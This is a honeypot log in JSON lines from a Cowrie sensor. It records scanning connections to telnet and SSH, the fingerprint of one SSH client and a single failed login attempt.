{"eventid":"cowrie.session.closed","duration":30.53119206428528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:01.073203Z","src_ip":"46.21.104.13","session":"6dfe91e1708f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.536774396896362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:01.160824Z","src_ip":"159.65.156.231","session":"b7d99eec49d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904037475585938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:01.165886Z","src_ip":"216.55.143.160","session":"26d04684bffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.4.101.60","src_port":38470,"dst_ip":"10.17.0.5","dst_port":23,"session":"e304f9710d55","protocol":"telnet","message":"New connection: 152.4.101.60:38470 (10.17.0.5:23) [session: e304f9710d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:01.198591Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":56590,"dst_ip":"10.17.0.5","dst_port":23,"session":"f650e801f832","protocol":"telnet","message":"New connection: 216.55.143.160:56590 (10.17.0.5:23) [session: f650e801f832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:01.238459Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":47352,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e90451ab1da","protocol":"telnet","message":"New connection: 74.115.209.253:47352 (10.17.0.5:23) [session: 8e90451ab1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:01.331064Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":58970,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8cd36e27b35","protocol":"telnet","message":"New connection: 51.222.46.37:58970 (10.17.0.5:23) [session: c8cd36e27b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:01.427887Z"}
{"eventid":"cowrie.session.closed","duration":31.401419401168823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:01.839211Z","src_ip":"146.71.83.154","session":"cecdf2663f75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.128.56","src_port":35946,"dst_ip":"10.17.0.5","dst_port":23,"session":"b960f1682893","protocol":"telnet","message":"New connection: 158.69.128.56:35946 (10.17.0.5:23) [session: b960f1682893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:01.951445Z"}
{"eventid":"cowrie.session.closed","duration":30.36347985267639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:02.036943Z","src_ip":"144.126.156.251","session":"bad0c1fb7d3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769779205322266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:02.042509Z","src_ip":"146.71.83.154","session":"2f9a0455baae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":47592,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d35a93eb17a","protocol":"telnet","message":"New connection: 74.115.209.253:47592 (10.17.0.5:23) [session: 9d35a93eb17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:02.191929Z"}
{"eventid":"cowrie.session.closed","duration":31.010942935943604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:02.222332Z","src_ip":"76.8.60.68","session":"2763e80bbcd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.150.184.17","src_port":48566,"dst_ip":"10.17.0.5","dst_port":23,"session":"c361165c73ee","protocol":"telnet","message":"New connection: 64.150.184.17:48566 (10.17.0.5:23) [session: c361165c73ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:02.242885Z"}
{"eventid":"cowrie.session.closed","duration":30.846276998519897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:02.470192Z","src_ip":"74.115.209.253","session":"834495446d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":38874,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d1ff0194ec2","protocol":"telnet","message":"New connection: 15.204.172.25:38874 (10.17.0.5:23) [session: 7d1ff0194ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:03.040280Z"}
{"eventid":"cowrie.session.closed","duration":30.75802731513977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:03.077343Z","src_ip":"35.246.154.4","session":"7a736257d1a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.86.26","src_port":40158,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b77bc76eafa","protocol":"telnet","message":"New connection: 69.175.86.26:40158 (10.17.0.5:23) [session: 3b77bc76eafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:03.087399Z"}
{"eventid":"cowrie.session.closed","duration":30.88659119606018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:03.146386Z","src_ip":"161.35.204.143","session":"9ce9f413d7ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.29.9.236","src_port":50282,"dst_ip":"10.17.0.5","dst_port":23,"session":"23e8b504d1c2","protocol":"telnet","message":"New connection: 185.29.9.236:50282 (10.17.0.5:23) [session: 23e8b504d1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:03.268988Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":57190,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdbf2b9be5d8","protocol":"telnet","message":"New connection: 216.55.143.160:57190 (10.17.0.5:23) [session: bdbf2b9be5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:03.333256Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":39572,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf82c7e14604","protocol":"telnet","message":"New connection: 66.223.49.88:39572 (10.17.0.5:23) [session: bf82c7e14604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:03.576797Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.8.60.68","src_port":49904,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4b11d94fb4","protocol":"telnet","message":"New connection: 76.8.60.68:49904 (10.17.0.5:23) [session: 0a4b11d94fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:03.696888Z"}
{"eventid":"cowrie.session.closed","duration":30.854316234588623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.028623Z","src_ip":"162.252.82.70","session":"b94bb1ab37bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84460210800171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.034029Z","src_ip":"74.115.209.253","session":"ca97ad6ae746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995857000350952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.060835Z","src_ip":"144.126.156.251","session":"a1a170895162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":58974,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca12a2e1158","protocol":"telnet","message":"New connection: 51.222.46.37:58974 (10.17.0.5:23) [session: 4ca12a2e1158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.075701Z"}
{"eventid":"cowrie.session.closed","duration":30.52882957458496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.085598Z","src_ip":"146.71.83.154","session":"0cb208b06d8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567488431930542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.174773Z","src_ip":"139.59.20.17","session":"a15d089d4cd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":58988,"dst_ip":"10.17.0.5","dst_port":23,"session":"670b9e0f661c","protocol":"telnet","message":"New connection: 51.222.46.37:58988 (10.17.0.5:23) [session: 670b9e0f661c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.284812Z"}
{"eventid":"cowrie.session.closed","duration":31.0140597820282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.377831Z","src_ip":"216.55.143.160","session":"5be6a1f3bc8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":41492,"dst_ip":"10.17.0.5","dst_port":23,"session":"05168510983f","protocol":"telnet","message":"New connection: 159.65.156.231:41492 (10.17.0.5:23) [session: 05168510983f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.702784Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":52750,"dst_ip":"10.17.0.5","dst_port":23,"session":"68488456764e","protocol":"telnet","message":"New connection: 116.202.39.209:52750 (10.17.0.5:23) [session: 68488456764e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.724204Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37350,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3d361326f5c","protocol":"ssh","message":"New connection: 159.203.92.129:37350 (159.203.135.109:22) [session: b3d361326f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.927271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.951584Z","src_ip":"159.203.92.129","session":"b3d361326f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:04.955582Z","src_ip":"159.203.92.129","session":"b3d361326f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abi","password":"abi","message":"login attempt [abi/abi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:05.038867Z","src_ip":"159.203.92.129","session":"b3d361326f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9104905128479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:05.077750Z","src_ip":"66.223.49.88","session":"210957704952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55778479576111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:05.107732Z","src_ip":"159.65.156.231","session":"8fa58d6a325e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.550045013427734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:05.141636Z","src_ip":"114.142.160.98","session":"ece052c091f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.195.101.206","src_port":41580,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ca56a3c192","protocol":"telnet","message":"New connection: 134.195.101.206:41580 (10.17.0.5:23) [session: 09ca56a3c192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:05.187797Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":52758,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a075e365e4","protocol":"telnet","message":"New connection: 116.202.39.209:52758 (10.17.0.5:23) [session: e4a075e365e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:05.744186Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:06.047093Z","src_ip":"159.203.92.129","session":"b3d361326f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.753194570541382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:06.052382Z","src_ip":"146.71.83.154","session":"01638c323183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.29.9.236","src_port":50942,"dst_ip":"10.17.0.5","dst_port":23,"session":"67944bde9c9a","protocol":"telnet","message":"New connection: 185.29.9.236:50942 (10.17.0.5:23) [session: 67944bde9c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:06.318043Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":41858,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1698c93d418","protocol":"telnet","message":"New connection: 159.65.156.231:41858 (10.17.0.5:23) [session: c1698c93d418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:06.552635Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":39582,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee85016d52e8","protocol":"telnet","message":"New connection: 66.223.49.88:39582 (10.17.0.5:23) [session: ee85016d52e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:06.583419Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":51412,"dst_ip":"10.17.0.5","dst_port":23,"session":"245544e45f35","protocol":"telnet","message":"New connection: 144.79.133.145:51412 (10.17.0.5:23) [session: 245544e45f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:06.680573Z"}
{"eventid":"cowrie.session.closed","duration":31.262919902801514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:06.815489Z","src_ip":"161.35.204.143","session":"7e8f5555f237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":58994,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cd43bf7137a","protocol":"telnet","message":"New connection: 51.222.46.37:58994 (10.17.0.5:23) [session: 0cd43bf7137a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:07.081497Z"}
{"eventid":"cowrie.session.closed","duration":30.993457794189453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:07.192807Z","src_ip":"114.142.160.98","session":"655eed625e3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.81.118.97","src_port":47776,"dst_ip":"10.17.0.5","dst_port":23,"session":"d38309018dc5","protocol":"telnet","message":"New connection: 23.81.118.97:47776 (10.17.0.5:23) [session: d38309018dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:07.635540Z"}
{"eventid":"cowrie.session.closed","duration":30.891484260559082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.034650Z","src_ip":"66.223.49.88","session":"027220f0efa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921568632125854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.048835Z","src_ip":"51.222.46.37","session":"be97652dee65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836589097976685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.060637Z","src_ip":"104.152.108.209","session":"beca4cd6b20c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.4.101.60","src_port":38962,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b98c219e9dd","protocol":"telnet","message":"New connection: 152.4.101.60:38962 (10.17.0.5:23) [session: 9b98c219e9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.099742Z"}
{"eventid":"cowrie.session.closed","duration":30.31670093536377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.109455Z","src_ip":"158.69.128.56","session":"5853f6978743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":30355,"dst_ip":"10.17.0.5","dst_port":23,"session":"270629a55f7b","protocol":"telnet","message":"New connection: 199.250.223.224:30355 (10.17.0.5:23) [session: 270629a55f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.114774Z"}
{"eventid":"cowrie.session.closed","duration":30.56188178062439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.183250Z","src_ip":"66.116.235.126","session":"0d8bbefc076a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64171552658081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.238582Z","src_ip":"159.65.156.231","session":"b5d13fa5479d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":54312,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f51f094755","protocol":"telnet","message":"New connection: 161.35.204.143:54312 (10.17.0.5:23) [session: 82f51f094755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.325610Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":40030,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d9ac70e69b7","protocol":"telnet","message":"New connection: 146.71.83.154:40030 (10.17.0.5:23) [session: 4d9ac70e69b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.357270Z"}
{"eventid":"cowrie.session.closed","duration":31.122197151184082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:08.397730Z","src_ip":"46.21.104.13","session":"f9f24bf5c913","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":39824,"dst_ip":"10.17.0.5","dst_port":23,"session":"749b06d6bba9","protocol":"telnet","message":"New connection: 15.204.172.25:39824 (10.17.0.5:23) [session: 749b06d6bba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:09.043078Z"}
{"eventid":"cowrie.session.closed","duration":30.79215097427368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:09.052778Z","src_ip":"146.71.83.154","session":"9407afa1f55c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.322651147842407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:09.057673Z","src_ip":"104.152.108.209","session":"7233aa185265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754190921783447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:09.061679Z","src_ip":"104.152.108.209","session":"403d2eb8755c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":42676,"dst_ip":"10.17.0.5","dst_port":23,"session":"5722ca3f83ef","protocol":"telnet","message":"New connection: 159.65.156.231:42676 (10.17.0.5:23) [session: 5722ca3f83ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:09.743813Z"}
{"eventid":"cowrie.session.closed","duration":30.965498208999634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:10.033998Z","src_ip":"199.250.223.224","session":"3db1ff5efd8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840712547302246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:10.069688Z","src_ip":"104.152.108.209","session":"24885f44020f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.150.184.17","src_port":49516,"dst_ip":"10.17.0.5","dst_port":23,"session":"43eeb6f6b92b","protocol":"telnet","message":"New connection: 64.150.184.17:49516 (10.17.0.5:23) [session: 43eeb6f6b92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:10.161122Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.21.104.13","src_port":49974,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e22daa67066","protocol":"telnet","message":"New connection: 46.21.104.13:49974 (10.17.0.5:23) [session: 2e22daa67066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:10.455616Z"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.128.56","src_port":38190,"dst_ip":"10.17.0.5","dst_port":23,"session":"d938b3da7530","protocol":"telnet","message":"New connection: 158.69.128.56:38190 (10.17.0.5:23) [session: d938b3da7530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:10.759071Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":49606,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f24d93821f1","protocol":"telnet","message":"New connection: 51.222.46.37:49606 (10.17.0.5:23) [session: 1f24d93821f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:11.037726Z"}
{"eventid":"cowrie.session.closed","duration":30.803449153900146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:11.044638Z","src_ip":"35.246.154.4","session":"29e5e041fc1f","protocol":"telnet"}
